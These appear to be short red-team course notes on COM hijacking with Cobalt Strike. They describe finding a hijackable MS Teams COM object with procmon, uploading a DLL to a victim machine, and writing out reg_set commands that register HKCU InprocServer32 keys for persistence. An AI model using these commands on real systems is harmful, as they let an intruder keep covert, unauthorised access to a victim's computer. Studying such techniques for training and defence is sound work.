LOLBIN

Cobalt Strike

This chapter will cover the following techniques:

LAB

  1. Find that ms-teams has a COM hijack issue through procmon
  2. Test it by registering the HKCU InprocServer32 entry with the specific CLSID found in procmon
  3. It works, so in the victim computer we upload a dll, we blend it and register the key (similarly with registering run keys) with: reg_set HKCU “Software\\Classes\\CLSID\\{CLSID}\\InprocServer32” “” REG_EXPAND_SZ “PATH_OF_DLL” and also set the threading model reg_set HKCU “Software\\Classes\\CLSID\\{CLSID}\\InprocServer32” “ThreadingModel” REG_SZ “Both”

So, for COM hijacking first find the hijackable COM object, then set it by registering it with reg_set

Lab Test

  1. Will the reg_set work on the first as well?
  2. Will the New-Item work on the attacker’s machine as well?